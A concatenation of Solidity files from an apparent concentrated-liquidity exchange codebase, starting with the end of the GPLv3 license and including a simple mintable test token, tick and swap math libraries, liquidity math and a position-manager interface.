THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Token is ERC20 {
constructor(string memory name_, string memory symbol_) payable ERC20(name_, symbol_) {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtP A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtP) {
unchecked {
uint256 absTick = uint256(tick < 0 ? -int256(tick) : int256(tick));
require(absTick <= uint256(int256(MAX_TICK)), 'T');
// do bitwise comparison, if i-th bit is turned on,
// multiply ratio by hardcoded values of sqrt(1.0001^-(2^i)) * 2^128
// where 0 <= i <= 19
uint256 ratio = (absTick & 0x1 != 0)
? 0xfffcb933bd6fad37aa2d162d1a594001
: 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
// take reciprocal for positive tick values
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtP = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtP < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtP The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtP) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtP >= MIN_SQRT_RATIO && sqrtP < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtP) << 32;
uint256 r = ratio;
uint256 msb = 0;
unchecked {
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtP ? tickHi : tickLow;
}
}
function getMaxNumberTicks(int24 _tickDistance) internal pure returns (uint24 numTicks) {
return uint24(TickMath.MAX_TICK / _tickDistance) * 2;
}
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {MathConstants as C} from "./MathConstants.sol";
import {FullMath} from "./FullMath.sol";
import {QuadMath} from "./QuadMath.sol";
import {SafeCast} from "./SafeCast.sol";
/// @title Contains helper functions for swaps
library SwapMath {
using SafeCast for uint256;
using SafeCast for int256;
/// @dev Computes the actual swap input / output amounts to be deducted or added,
/// the swap fee to be collected and the resulting sqrtP.
/// @notice nextSqrtP should not exceed targetSqrtP.
/// @param liquidity active base liquidity + reinvest liquidity
/// @param currentSqrtP current sqrt price
/// @param targetSqrtP sqrt price limit the new sqrt price can take
/// @param feeInFeeUnits swap fee in basis points
/// @param specifiedAmount the amount remaining to be used for the swap
/// @param isExactInput true if specifiedAmount refers to input amount, false if specifiedAmount refers to output amount
/// @param isToken0 true if specifiedAmount is in token0, false if specifiedAmount is in token1
/// @return usedAmount actual amount to be used for the swap
/// @return returnedAmount output qty to be accumulated if isExactInput = true, input qty if isExactInput = false
/// @return deltaL collected swap fee, to be incremented to reinvest liquidity
/// @return nextSqrtP the new sqrt price after the computed swap step
function computeSwapStep(
uint256 liquidity,
uint160 currentSqrtP,
uint160 targetSqrtP,
uint256 feeInFeeUnits,
int256 specifiedAmount,
bool isExactInput,
bool isToken0
) internal pure returns (int256 usedAmount, int256 returnedAmount, uint256 deltaL, uint160 nextSqrtP) {
// in the event currentSqrtP == targetSqrtP because of tick movements, return
// eg. swapped up tick where specified price limit is on an initialised tick
// then swapping down tick will cause next tick to be the same as the current tick
if (currentSqrtP == targetSqrtP) return (0, 0, 0, currentSqrtP);
usedAmount = calcReachAmount(liquidity, currentSqrtP, targetSqrtP, feeInFeeUnits, isExactInput, isToken0);
if ((isExactInput && usedAmount > specifiedAmount) || (!isExactInput && usedAmount <= specifiedAmount)) {
usedAmount = specifiedAmount;
} else {
nextSqrtP = targetSqrtP;
}
uint256 absDelta = usedAmount >= 0 ? uint256(usedAmount) : usedAmount.revToUint256();
if (nextSqrtP == 0) {
deltaL =
estimateIncrementalLiquidity(absDelta, liquidity, currentSqrtP, feeInFeeUnits, isExactInput, isToken0);
nextSqrtP = calcFinalPrice(absDelta, liquidity, deltaL, currentSqrtP, isExactInput, isToken0).toUint160();
} else {
deltaL = calcIncrementalLiquidity(absDelta, liquidity, currentSqrtP, nextSqrtP, isExactInput, isToken0);
}
returnedAmount = calcReturnedAmount(liquidity, currentSqrtP, nextSqrtP, deltaL, isExactInput, isToken0);
}
/// @dev calculates the amount needed to reach targetSqrtP from currentSqrtP
/// @dev we cast currentSqrtP and targetSqrtP to uint256 as they are multiplied by TWO_FEE_UNITS or feeInFeeUnits
function calcReachAmount(
uint256 liquidity,
uint256 currentSqrtP,
uint256 targetSqrtP,
uint256 feeInFeeUnits,
bool isExactInput,
bool isToken0
) internal pure returns (int256 reachAmount) {
uint256 absPriceDiff;
unchecked {
absPriceDiff = (currentSqrtP >= targetSqrtP) ? (currentSqrtP - targetSqrtP) : (targetSqrtP - currentSqrtP);
}
if (isExactInput) {
// we round down so that we avoid taking giving away too much for the specified input
// ie. require less input qty to move ticks
if (isToken0) {
// numerator = 2 * liquidity * absPriceDiff
// denominator = currentSqrtP * (2 * targetSqrtP - currentSqrtP * feeInFeeUnits / FEE_UNITS)
// overflow should not happen because the absPriceDiff is capped to ~5%
uint256 denominator = C.TWO_FEE_UNITS * targetSqrtP - feeInFeeUnits * currentSqrtP;
uint256 numerator = FullMath.mulDivFloor(liquidity, C.TWO_FEE_UNITS * absPriceDiff, denominator);
reachAmount = FullMath.mulDivFloor(numerator, C.TWO_POW_96, currentSqrtP).toInt256();
} else {
// numerator = 2 * liquidity * absPriceDiff * currentSqrtP
// denominator = 2 * currentSqrtP - targetSqrtP * feeInFeeUnits / FEE_UNITS
// overflow should not happen because the absPriceDiff is capped to ~5%
uint256 denominator = C.TWO_FEE_UNITS * currentSqrtP - feeInFeeUnits * targetSqrtP;
uint256 numerator = FullMath.mulDivFloor(liquidity, C.TWO_FEE_UNITS * absPriceDiff, denominator);
reachAmount = FullMath.mulDivFloor(numerator, currentSqrtP, C.TWO_POW_96).toInt256();
}
} else {
// we will perform negation as the last step
// we round down so that we require less output qty to move ticks
if (isToken0) {
// numerator: (liquidity)(absPriceDiff)(2 * currentSqrtP - deltaL * (currentSqrtP + targetSqrtP))
// denominator: (currentSqrtP * targetSqrtP) * (2 * currentSqrtP - deltaL * targetSqrtP)
// overflow should not happen because the absPriceDiff is capped to ~5%
uint256 denominator = C.TWO_FEE_UNITS * currentSqrtP - feeInFeeUnits * targetSqrtP;
uint256 numerator = denominator - feeInFeeUnits * currentSqrtP;
numerator = FullMath.mulDivFloor(liquidity << C.RES_96, numerator, denominator);
reachAmount = (FullMath.mulDivFloor(numerator, absPriceDiff, currentSqrtP) / targetSqrtP).revToInt256();
} else {
// numerator: liquidity * absPriceDiff * (TWO_FEE_UNITS * targetSqrtP - feeInFeeUnits * (targetSqrtP + currentSqrtP))
// denominator: (TWO_FEE_UNITS * targetSqrtP - feeInFeeUnits * currentSqrtP)
// overflow should not happen because the absPriceDiff is capped to ~5%
uint256 denominator = C.TWO_FEE_UNITS * targetSqrtP - feeInFeeUnits * currentSqrtP;
uint256 numerator = denominator - feeInFeeUnits * targetSqrtP;
numerator = FullMath.mulDivFloor(liquidity, numerator, denominator);
reachAmount = FullMath.mulDivFloor(numerator, absPriceDiff, C.TWO_POW_96).revToInt256();
}
}
}
/// @dev estimates deltaL, the swap fee to be collected based on amount specified
/// for the final swap step to be performed,
/// where the next (temporary) tick will not be crossed
function estimateIncrementalLiquidity(
uint256 absDelta,
uint256 liquidity,
uint160 currentSqrtP,
uint256 feeInFeeUnits,
bool isExactInput,
bool isToken0
) internal pure returns (uint256 deltaL) {
if (isExactInput) {
if (isToken0) {
// deltaL = feeInFeeUnits * absDelta * currentSqrtP / 2
deltaL = FullMath.mulDivFloor(currentSqrtP, absDelta * feeInFeeUnits, C.TWO_FEE_UNITS << C.RES_96);
} else {
// deltaL = feeInFeeUnits * absDelta * / (currentSqrtP * 2)
// Because nextSqrtP = (liquidity + absDelta / currentSqrtP) * currentSqrtP / (liquidity + deltaL)
// so we round up deltaL, to round down nextSqrtP
deltaL = FullMath.mulDivFloor(C.TWO_POW_96, absDelta * feeInFeeUnits, C.TWO_FEE_UNITS * currentSqrtP);
}
} else {
// obtain the smaller root of the quadratic equation
// ax^2 - 2bx + c = 0 such that b > 0, and x denotes deltaL
uint256 a = feeInFeeUnits;
uint256 b = (C.FEE_UNITS - feeInFeeUnits) * liquidity;
uint256 c = feeInFeeUnits * liquidity * absDelta;
if (isToken0) {
// a = feeInFeeUnits
// b = (FEE_UNITS - feeInFeeUnits) * liquidity - FEE_UNITS * absDelta * currentSqrtP
// c = feeInFeeUnits * liquidity * absDelta * currentSqrtP
b -= FullMath.mulDivFloor(C.FEE_UNITS * absDelta, currentSqrtP, C.TWO_POW_96);
c = FullMath.mulDivFloor(c, currentSqrtP, C.TWO_POW_96);
} else {
// a = feeInFeeUnits
// b = (FEE_UNITS - feeInFeeUnits) * liquidity - FEE_UNITS * absDelta / currentSqrtP
// c = liquidity * feeInFeeUnits * absDelta / currentSqrtP
b -= FullMath.mulDivFloor(C.FEE_UNITS * absDelta, C.TWO_POW_96, currentSqrtP);
c = FullMath.mulDivFloor(c, C.TWO_POW_96, currentSqrtP);
}
deltaL = QuadMath.getSmallerRootOfQuadEqn(a, b, c);
}
}
/// @dev calculates deltaL, the swap fee to be collected for an intermediate swap step,
/// where the next (temporary) tick will be crossed
function calcIncrementalLiquidity(
uint256 absDelta,
uint256 liquidity,
uint160 currentSqrtP,
uint160 nextSqrtP,
bool isExactInput,
bool isToken0
) internal pure returns (uint256 deltaL) {
if (isToken0) {
// deltaL = nextSqrtP * (liquidity / currentSqrtP +/- absDelta)) - liquidity
// needs to be minimum
uint256 tmp1 = FullMath.mulDivFloor(liquidity, C.TWO_POW_96, currentSqrtP);
uint256 tmp2 = isExactInput ? tmp1 + absDelta : tmp1 - absDelta;
uint256 tmp3 = FullMath.mulDivFloor(nextSqrtP, tmp2, C.TWO_POW_96);
// in edge cases where liquidity or absDelta is small
// liquidity might be greater than nextSqrtP * ((liquidity / currentSqrtP) +/- absDelta))
// due to rounding
deltaL = (tmp3 > liquidity) ? tmp3 - liquidity : 0;
} else {
// deltaL = (liquidity * currentSqrtP +/- absDelta) / nextSqrtP - liquidity
// needs to be minimum
uint256 tmp1 = FullMath.mulDivFloor(liquidity, currentSqrtP, C.TWO_POW_96);
uint256 tmp2 = isExactInput ? tmp1 + absDelta : tmp1 - absDelta;
uint256 tmp3 = FullMath.mulDivFloor(tmp2, C.TWO_POW_96, nextSqrtP);
// in edge cases where liquidity or absDelta is small
// liquidity might be greater than nextSqrtP * ((liquidity / currentSqrtP) +/- absDelta))
// due to rounding
deltaL = (tmp3 > liquidity) ? tmp3 - liquidity : 0;
}
}
/// @dev calculates the sqrt price of the final swap step
/// where the next (temporary) tick will not be crossed
function calcFinalPrice(
uint256 absDelta,
uint256 liquidity,
uint256 deltaL,
uint160 currentSqrtP,
bool isExactInput,
bool isToken0
) internal pure returns (uint256) {
if (isToken0) {
// if isExactInput: swap 0 -> 1, sqrtP decreases, we round up
// else swap: 1 -> 0, sqrtP increases, we round down
uint256 tmp = FullMath.mulDivFloor(absDelta, currentSqrtP, C.TWO_POW_96);
if (isExactInput) {
return FullMath.mulDivCeiling(liquidity + deltaL, currentSqrtP, liquidity + tmp);
} else {
return FullMath.mulDivFloor(liquidity + deltaL, currentSqrtP, liquidity - tmp);
}
} else {
// if isExactInput: swap 1 -> 0, sqrtP increases, we round down
// else swap: 0 -> 1, sqrtP decreases, we round up
uint256 tmp = FullMath.mulDivFloor(absDelta, C.TWO_POW_96, currentSqrtP);
if (isExactInput) {
return FullMath.mulDivFloor(liquidity + tmp, currentSqrtP, liquidity + deltaL);
} else {
return FullMath.mulDivCeiling(liquidity - tmp, currentSqrtP, liquidity + deltaL);
}
}
}
/// @dev calculates returned output | input tokens in exchange for specified amount
/// @dev round down when calculating returned output (isExactInput) so we avoid sending too much
/// @dev round up when calculating returned input (!isExactInput) so we get desired output amount
function calcReturnedAmount(
uint256 liquidity,
uint160 currentSqrtP,
uint160 nextSqrtP,
uint256 deltaL,
bool isExactInput,
bool isToken0
) internal pure returns (int256 returnedAmount) {
if (isToken0) {
if (isExactInput) {
// minimise actual output (<0, make less negative) so we avoid sending too much
// returnedAmount = deltaL * nextSqrtP - liquidity * (currentSqrtP - nextSqrtP)
returnedAmount = FullMath.mulDivCeiling(deltaL, nextSqrtP, C.TWO_POW_96).toInt256()
+ FullMath.mulDivFloor(liquidity, currentSqrtP - nextSqrtP, C.TWO_POW_96).revToInt256();
} else {
// maximise actual input (>0) so we get desired output amount
// returnedAmount = deltaL * nextSqrtP + liquidity * (nextSqrtP - currentSqrtP)
returnedAmount = FullMath.mulDivCeiling(deltaL, nextSqrtP, C.TWO_POW_96).toInt256()
+ FullMath.mulDivCeiling(liquidity, nextSqrtP - currentSqrtP, C.TWO_POW_96).toInt256();
}
} else {
// returnedAmount = (liquidity + deltaL)/nextSqrtP - (liquidity)/currentSqrtP
// if exactInput, minimise actual output (<0, make less negative) so we avoid sending too much
// if exactOutput, maximise actual input (>0) so we get desired output amount
returnedAmount = FullMath.mulDivCeiling(liquidity + deltaL, C.TWO_POW_96, nextSqrtP).toInt256()
+ FullMath.mulDivFloor(liquidity, C.TWO_POW_96, currentSqrtP).revToInt256();
}
if (isExactInput && returnedAmount == 1) {
// rounding make returnedAmount == 1
returnedAmount = 0;
}
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import {MathConstants as C} from '../../libraries/MathConstants.sol';
import {FullMath} from '../../libraries/FullMath.sol';
import {SafeCast} from '../../libraries/SafeCast.sol';
library LiquidityMath {
using SafeCast for uint256;
/// @notice Gets liquidity from qty 0 and the price range
/// qty0 = liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))
/// => liquidity = qty0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param lowerSqrtP A lower sqrt price
/// @param upperSqrtP An upper sqrt price
/// @param qty0 amount of token0
/// @return liquidity amount of returned liquidity to not exceed the qty0
function getLiquidityFromQty0(
uint160 lowerSqrtP,
uint160 upperSqrtP,
uint256 qty0
) internal pure returns (uint128) {
uint256 liq = FullMath.mulDivFloor(lowerSqrtP, upperSqrtP, C.TWO_POW_96);
unchecked {
return FullMath.mulDivFloor(liq, qty0, upperSqrtP - lowerSqrtP).toUint128();
}
}
/// @notice Gets liquidity from qty 1 and the price range
/// @dev qty1 = liquidity * (sqrt(upper) - sqrt(lower))
/// thus, liquidity = qty1 / (sqrt(upper) - sqrt(lower))
/// @param lowerSqrtP A lower sqrt price
/// @param upperSqrtP An upper sqrt price
/// @param qty1 amount of token1
/// @return liquidity amount of returned liquidity to not exceed to qty1
function getLiquidityFromQty1(
uint160 lowerSqrtP,
uint160 upperSqrtP,
uint256 qty1
) internal pure returns (uint128) {
unchecked {
return FullMath.mulDivFloor(qty1, C.TWO_POW_96, upperSqrtP - lowerSqrtP).toUint128();
}
}
/// @notice Gets liquidity given price range and 2 qties of token0 and token1
/// @param currentSqrtP current price
/// @param lowerSqrtP A lower sqrt price
/// @param upperSqrtP An upper sqrt price
/// @param qty0 amount of token0 - at most
/// @param qty1 amount of token1 - at most
/// @return liquidity amount of returned liquidity to not exceed the given qties
function getLiquidityFromQties(
uint160 currentSqrtP,
uint160 lowerSqrtP,
uint160 upperSqrtP,
uint256 qty0,
uint256 qty1
) internal pure returns (uint128) {
if (currentSqrtP <= lowerSqrtP) {
return getLiquidityFromQty0(lowerSqrtP, upperSqrtP, qty0);
}
if (currentSqrtP >= upperSqrtP) {
return getLiquidityFromQty1(lowerSqrtP, upperSqrtP, qty1);
}
uint128 liq0 = getLiquidityFromQty0(currentSqrtP, upperSqrtP, qty0);
uint128 liq1 = getLiquidityFromQty1(lowerSqrtP, currentSqrtP, qty1);
return liq0 < liq1 ? liq0 : liq1;
}
}// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
import {IERC721Metadata} from '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
import {IRouterTokenHelper} from './IRouterTokenHelper.sol';
import {IBasePositionManagerEvents} from './base_position_manager/IBasePositionManagerEvents.sol';
import {IERC721Permit} from './IERC721Permit.sol';
interface IBasePositionManager is IRouterTokenHelper, IBasePositionManagerEvents {
struct Position {
// the nonce for permits
uint96 nonce;
// the address that is approved for spending this token
address operator;
// the ID of the pool with which this token is connected
uint80 poolId;
// the tick range of the position
int24 tickLower;
int24 tickUpper;
// the liquidity of the position
uint128 liquidity;
// the current rToken that the position owed
uint256 rTokenOwed;
// fee growth per unit of liquidity as of the last update to liquidity
uint256 feeGrowthInsideLast;
}
struct PoolInfo {
address token0;
uint24 fee;
address token1;
}
/// @notice Params for the first time adding liquidity, mint new nft to sender
/// @param token0 the token0 of the pool
/// @param token1 the token1 of the pool
/// - must make sure that token0 < token1
/// @param fee the pool's fee in fee units
/// @param tickLower the position's lower tick
/// @param tickUpper the position's upper tick
/// - must make sure tickLower < tickUpper, and both are in tick distance
/// @param ticksPrevious the nearest tick that has been initialized and lower than or equal to
/// the tickLower and tickUpper, use to help insert the tickLower and tickUpper if haven't initialized
/// @param amount0Desired the desired amount for token0
/// @param amount1Desired the desired amount for token1
/// @param amount0Min min amount of token 0 to add
/// @param amount1Min min amount of token 1 to add
/// @param recipient the owner of the position
/// @param deadline time that the transaction will be expired
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
int24[2] ticksPrevious;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Params for adding liquidity to the existing position
/// @param tokenId id of the position to increase its liquidity
/// @param ticksPrevious the nearest tick that has been initialized and lower than or equal to
/// the tickLower and tickUpper, use to help insert the tickLower and tickUpper if haven't initialized
/// only needed if the position has been closed and the owner wants to add more liquidity
/// @param amount0Desired the desired amount for token0
/// @param amount1Desired the desired amount for token1
/// @param amount0Min min amount of token 0 to add
/// @param amount1Min min amount of token 1 to add
/// @param deadline time that the transaction will be expired
struct IncreaseLiquidityParams {
uint256 tokenId;
int24[2] ticksPrevious;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Params for remove liquidity from the existing position
/// @param tokenId id of the position to remove its liquidity
/// @param amount0Min min amount of token 0 to receive
/// @param amount1Min min amount of token 1 to receive
/// @param deadline time that the transaction will be expired
struct RemoveLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Burn the rTokens to get back token0 + token1 as fees
/// @param tokenId id of the position to burn r token
/// @param amount0Min min amount of token 0 to receive
/// @param amount1Min min amount of token 1 to receive
/// @param deadline time that the transaction will be expired
struct BurnRTokenParams {
uint256 tokenId;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Creates a new pool if it does not exist, then unlocks if it has not been unlocked
/// @param token0 the token0 of the pool
/// @param token1 the token1 of the pool
/// @param fee the fee for the pool
/// @param currentSqrtP the initial price of the pool
/// @return pool returns the pool address
function createAndUnlockPoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 currentSqrtP
) external payable returns (address pool);
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
function addLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1,
uint256 additionalRTokenOwed
);
function removeLiquidity(RemoveLiquidityParams calldata params)
external
returns (
uint256 amount0,
uint256 amount1,
uint256 additionalRTokenOwed
);
function burnRTokens(BurnRTokenParams calldata params)
external
returns (
uint256 rTokenQty,
uint256 amount0,
uint256 amount1
);
/**
* @dev Burn the token by its owner
* @notice All liquidity should be removed before burning
*/
function burn(uint256 tokenId) external payable;
function syncFeeGrowth(uint256 tokenId) external returns (uint256 additionalRTokenOwed);
function positions(uint256 tokenId)
external
view
returns (Position memory pos, PoolInfo memory info);
function addressToPoolId(address pool) external view returns (uint80);
function isRToken(address token) external view returns (bool);
function nextPoolId() external view returns (uint80);
function nextTokenId() external view returns (uint256);
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {IPoolActions} from './pool/IPoolActions.sol';
import {IPoolEvents} from './pool/IPoolEvents.sol';
import {IPoolStorage} from './pool/IPoolStorage.sol';
